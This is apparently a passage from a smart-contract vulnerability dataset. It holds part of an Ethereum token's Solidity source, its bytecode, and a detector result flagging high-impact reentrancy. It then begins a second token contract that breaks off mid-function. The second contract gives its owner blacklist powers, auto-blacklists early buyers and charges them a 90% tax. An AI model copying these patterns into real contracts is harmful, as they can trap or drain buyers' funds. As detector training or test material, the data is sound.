_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ab57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195c565b6105f6565b005b34801561020a57600080fd5b5060408051808201909152600681526504b696c6c20360d41b60208201525b6040516102369190611a21565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a76565b610695565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50683635c9adc5dea000005b604051908152602001610236565b3480156102d957600080fd5b5061025f6102e8366004611aa2565b6106ac565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610236565b34801561032b57600080fd5b5060155461028f906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae3565b610715565b34801561036b57600080fd5b506101fc61037a366004611b10565b610760565b34801561038b57600080fd5b506101fc6107a8565b3480156103a057600080fd5b506102bf6103af366004611ae3565b6107f3565b3480156103c057600080fd5b506101fc610815565b3480156103d557600080fd5b506101fc6103e4366004611b2b565b610889565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae3565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b031661028f565b34801561045657600080fd5b506101fc610465366004611b10565b6108b8565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b5060408051808201909152600281526104b360f41b6020820152610229565b3480156104b757600080fd5b506101fc6104c6366004611b2b565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b44565b61092f565b3480156104f757600080fd5b5061025f610506366004611a76565b61096d565b34801561051757600080fd5b5061025f610526366004611ae3565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b76565b6109ce565b34801561057c57600080fd5b506102bf61058b366004611bfa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b2b565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611ae3565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c33565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c68565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c94565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611dae602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c33565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c33565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c33565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c33565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c68565b9050602002016020810190610a2f9190611ae3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c94565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c33565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c33565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611caf565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a6984848484611469565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a21565b5060006112198486611cc7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611497565b90506112d983826114ba565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c68565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b49190611cde565b816001815181106113c7576113c7611c68565b6001600160a01b0392831660209182029290920101526014546113ed9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611426908590600090869030904290600401611cfb565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611476576114766114fc565b61148184848461152a565b80610a6957610a69600e54600c55600f54600d55565b60008060006114a4611621565b90925090506114b382826114ba565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b600c5415801561150c5750600d54155b1561151357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153c87611691565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156e90876116ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159d9086611730565b6001600160a01b0389166000908152600260205260409020556115bf8161178f565b6115c984836117d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163d82826114ba565b82101561165a57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116845760405162461bcd60e51b81526004016106209190611a21565b5060006112198486611d6c565b60008060008060008060008060006116ae8a600c54600d546117fd565b92509250925060006116be611497565b905060008060006116d18e878787611852565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061173d8385611caf565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b6000611799611497565b905060006117a783836118a2565b306000908152600260205260409020549091506117c49082611730565b30600090815260026020526040902055505050565b6006546117e690836116ee565b6006556007546117f69082611730565b6007555050565b6000808080611817606461181189896118a2565b906114ba565b9050600061182a60646118118a896118a2565b905060006118428261183c8b866116ee565b906116ee565b9992985090965090945050505050565b600080808061186188866118a2565b9050600061186f88876118a2565b9050600061187d88886118a2565b9050600061188f8261183c86866116ee565b939b939a50919850919650505050505050565b6000826118b1575060006106a6565b60006118bd8385611d8e565b9050826118ca8583611d6c565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561195781611937565b919050565b6000602080838503121561196f57600080fd5b823567ffffffffffffffff8082111561198757600080fd5b818501915085601f83011261199b57600080fd5b8135818111156119ad576119ad611921565b8060051b604051601f19603f830116810181811085821117156119d2576119d2611921565b6040529182528482019250838101850191888311156119f057600080fd5b938501935b82851015611a1557611a068561194c565b845293850193928501926119f5565b98975050505050505050565b600060208083528351808285015260005b81811015611a4e57858101830151858201604001528201611a32565b81811115611a60576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8957600080fd5b8235611a9481611937565b946020939093013593505050565b600080600060608486031215611ab757600080fd5b8335611ac281611937565b92506020840135611ad281611937565b929592945050506040919091013590565b600060208284031215611af557600080fd5b81356112d981611937565b8035801515811461195757600080fd5b600060208284031215611b2257600080fd5b6112d982611b00565b600060208284031215611b3d57600080fd5b5035919050565b60008060008060808587031215611b5a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8b57600080fd5b833567ffffffffffffffff80821115611ba357600080fd5b818601915086601f830112611bb757600080fd5b813581811115611bc657600080fd5b8760208260051b8501011115611bdb57600080fd5b602092830195509350611bf19186019050611b00565b90509250925092565b60008060408385031215611c0d57600080fd5b8235611c1881611937565b91506020830135611c2881611937565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca857611ca8611c7e565b5060010190565b60008219821115611cc257611cc2611c7e565b500190565b600082821015611cd957611cd9611c7e565b500390565b600060208284031215611cf057600080fd5b81516112d981611937565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4b5784516001600160a01b031683529383019391830191600101611d26565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da857611da8611c7e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040f2e44ce8b2bc7a335efd8f4865f302fae42a1f63945a31cea7cfe9139b1a6864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,423
0xA33A9089e122b1c2B650Dd67808A9eee9F985d24
/** *Submitted for verification at Etherscan.io on 2022-02-11 */ /* * Telegram : https://t.me/thaterc20 * Website : */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract THAT is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 public buyLiquidityFee = 3; uint256 public sellLiquidityFee = 3; uint256 public buyTxFee = 9; uint256 private defaultBuyTxFee = 9; uint256 public sellTxFee = 9; uint256 public defaultSellLiquidityFee = 2; uint256 public defaultSellTxFee = 10; uint256 public hourSellLiquidityFee = 10; uint256 public hourSellTxFee = 14; uint256 public tokensForLiquidity; uint256 public tokensForTax; uint256 public _tTotal = 1000000000 * 10**9; uint256 public swapAtAmount = _tTotal.mul(50).div(10000); uint256 public maxTxLimit = _tTotal; uint256 public maxWalletLimit = _tTotal; address private dev; address private liquidity; address public uniswapV2Pair; uint256 public launchBlock; bool private swapping; bool public isLaunched; bool private cooldownEnabled = false; bool private useBuyMap = true; bool private blacklistAllowed = true; //blacklist will be disabled forever after launch uint256 private deadblocks; // exclude from fees mapping (address => bool) public isExcludedFromFees; // exclude from max transaction amount mapping (address => bool) public isExcludedFromTxLimit; // exclude from max wallet limit mapping (address => bool) public isExcludedFromWalletLimit; // if the account is blacklisted from transacting mapping (address => bool) public isBlacklisted; // buy map for timed sell tax mapping (address => uint256) public _buyMap; // mapping for cooldown mapping (address => uint) public cooldown; constructor() public ERC20("THAT", "THAT") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); // exclude from fees, wallet limit and transaction limit excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = payable(0xc0105B70c533C0875b861C3489C4490f15A8365C); liquidity = payable(msg.sender); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), _tTotal); } function excludeFromFees(address account, bool value) public onlyOwner() { require(isExcludedFromFees[account] != value, "Fees: Already set to this value"); isExcludedFromFees[account] = value; } function excludeFromTxLimit(address account, bool value) public onlyOwner() { require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value"); isExcludedFromTxLimit[account] = value; } function excludeFromWalletLimit(address account, bool value) public onlyOwner() { require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value"); isExcludedFromWalletLimit[account] = value; } function excludeFromAllLimits(address account, bool value) public onlyOwner() { excludeFromFees(account, value); excludeFromTxLimit(account, value); excludeFromWalletLimit(account, value); } function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { require(liquidityFee.add(txFee) <= 12, "Total buy fee can not be more than 12"); buyLiquidityFee = liquidityFee; defaultBuyTxFee = txFee; buyTxFee = txFee; } function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { require(liquidityFee.add(txFee) <= 12, "Total default fee can not be more than 12"); sellLiquidityFee = liquidityFee; sellTxFee = txFee; defaultSellLiquidityFee = liquidityFee; defaultSellTxFee = txFee; } function setHourSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { require(liquidityFee.add(txFee) <= 24, "Total default fee can not be more than 25"); hourSellLiquidityFee = liquidityFee; hourSellTxFee = txFee; } function setCooldownEnabled(bool _enabled) external onlyOwner() { cooldownEnabled = _enabled; } function setUseBuyMap(bool _enabled) external onlyOwner() { useBuyMap = _enabled; } function setMaxTxLimit(uint256 newLimit) external onlyOwner() { require(newLimit > 0, "max tx can not be 0"); maxTxLimit = newLimit * (10**9); } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { require(newLimit > 0, "max wallet can not be 0"); maxWalletLimit = newLimit * (10**9); } function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() { swapAtAmount = amountToSwap * (10**9); } function setDeadBlocks(uint256 _deadblocks) external onlyOwner() { require(_deadblocks < 3); deadblocks = _deadblocks; } function updateDevWallet(address newWallet) external onlyOwner() { dev = newWallet; } function updateLiqWallet(address newWallet) external onlyOwner() { liquidity = newWallet; } function disableBlacklist() external onlyOwner() { blacklistAllowed = false; } function addBlacklist(address account) external onlyOwner() { require(!isBlacklisted[account], "Blacklist: Already blacklisted"); require(blacklistAllowed, "Blacklist functionality no longer active"); require(account != uniswapV2Pair, "Cannot blacklist pair"); _setBlacklist(account, true); } function removeBlacklist(address account) external onlyOwner() { require(isBlacklisted[account], "Blacklist: Not blacklisted"); _setBlacklist(account, false); } function manualswap() external onlyOwner() { uint256 totalTokensForFee = tokensForLiquidity + tokensForTax; swapBack(totalTokensForFee); } function manualsend() external onlyOwner(){ uint256 contractETHBalance = address(this).balance; payable(address(dev)).transfer(contractETHBalance); } function openTrading(uint256 _deadblocks) external onlyOwner() { require(!isLaunched, "Contract is already launched"); deadblocks = _deadblocks; isLaunched = true; launchBlock = block.number; maxTxLimit = _tTotal.mul(100).div(10000); maxWalletLimit = _tTotal.mul(100).div(10000); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "transfer from the zero address"); require(to != address(0), "transfer to the zero address"); require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large"); require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit"); require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live"); require(!isBlacklisted[from], "Sender is blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 totalTokensForFee = tokensForLiquidity + tokensForTax; bool canSwap = totalTokensForFee >= swapAtAmount; buyTxFee = defaultBuyTxFee; if( from != uniswapV2Pair && canSwap && !swapping ) { swapping = true; swapBack(totalTokensForFee); swapping = false; } else if( from == uniswapV2Pair && to != uniswapV2Pair && block.number < launchBlock + deadblocks && !isExcludedFromFees[to] ) { buyTxFee = 90; _setBlacklist(to, true); } bool takeFee = !swapping; if(isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees; // on sell if (to == uniswapV2Pair) { if(useBuyMap){ if (_buyMap[from] != 0 && (_buyMap[from] + (1 hours) >= block.timestamp)) { sellLiquidityFee = hourSellLiquidityFee; sellTxFee = hourSellTxFee; _buyMap[from] = block.timestamp; } else { sellLiquidityFee = defaultSellLiquidityFee; sellTxFee = defaultSellTxFee; } } else { sellLiquidityFee = defaultSellLiquidityFee; sellTxFee = defaultSellTxFee; } uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee); fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees)); tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees)); } // on buy & wallet transfers else { if(cooldownEnabled){ require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (useBuyMap && _buyMap[to] == 0) { _buyMap[to] = block.timestamp; } uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee); fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees)); tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees)); } if(fees > 0){ super._transfer(from, address(this), fees); amount = amount.sub(fees); } } super._transfer(from, to, amount); } function swapBack(uint256 totalTokensForFee) private { uint256 toSwap = swapAtAmount; // Halve the amount of liquidity tokens uint256 liquidityTokens = 